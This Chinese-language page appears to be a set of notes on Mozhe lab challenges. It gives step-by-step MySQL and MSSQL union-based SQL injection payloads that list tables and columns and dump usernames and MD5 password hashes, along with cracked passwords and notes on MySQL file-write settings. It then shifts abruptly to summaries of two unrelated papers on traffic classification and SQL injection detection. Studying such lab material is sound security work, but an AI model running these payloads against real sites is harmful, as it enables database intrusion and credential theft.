注入点为2,查询数据库mozhe_Discuz_StormGroup的表名 -1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' 表名为StormGroup_member,只显示了一个表名,如果要显示所有,就加上group_concat -1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' 显示了所有表名StormGroup_member,notice
查询表StormGroup_member的列名 -1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' 列名为id,name,password,status
查询指定数据 -1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member name为mozhe和mozhe password为356f589a7df439f6f744ff19bb8092c0和aa47b6f4aebaad8799e735b0e31dfc1c 对于这道题,题目提示了password经过的md5加密,解密后password为dsan13和807150,第一个被禁用了,第二个可以正常登录得到key
mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+
Value
说明
NULL
不允许导入或导出
/tmp
只允许在 /tmp 目录导入导出
空
不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
and exists (select * from sysobjects)--返回正常为mssql(也名sql server) and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
sysobjects是sql server独有的一个数据库
2、判断数据库版本
1 2
and 1=@@version--这个语句要在有回显的模式下才可以哦 and substring((select @@version),22,4)='2005'--适用于无回显模式,后面的2005就是数据库版本,返回正常就是2005的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2005的话就返回正常)
3、判断回显
1 2
由于题目中3是字符类型,所以要加引号 ?id=-2 union all select 1,2,'3',4
4、数据库名称
1
?id=-2 union all select 1,db_name(),'3',4
得到数据库名称为 mozhe_db_v2
5、爆表
1
?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
当xtype=’U’ 代表是用户建立的表
得到表名为manage
6、爆字段
1
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
Yet Another Traffic Classifier: A Masked Autoencoder Based Traffic Transformer with Multi-Level Flow Representation 论文分享
Zhao, R., Zhan, M., Deng, X., Wang, Y., Wang, Y., Gui, G., & Xue, Z. (2023). Yet Another Traffic Classifier: A Masked Autoencoder Based Traffic Transformer with Multi-Level Flow Representation. Proceedings of the AAAI Conference on Artificial Intelligence, 37(4), 5420-5427.
SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning 论文分享
Wahaibi, S. A., Foley, M., & Maffeis, S. (2023). SQIRL: Grey-Box Detection of SQL Injection Vulnerabilities Using Reinforcement Learning. 32nd USENIX Security Symposium (USENIX Security 23), 6097–6114.
时刻 t 的状态由三个不同的部分组成:在t−1时刻注入的有效载荷;在时间t−1时从SQL代理中提取的SQL语句(在出现错误且没有新的SQL语句的情况下,本文使用在t−2时捕获的SQL语句);如果在前一个时间步骤中出现SQL错误,则使用bit来标记。为了减少可能状态的空间,并鼓励泛化,有效负载和SQL语句被转换为通用形式:字符串和整数值分别被通用令牌STR和INT替换。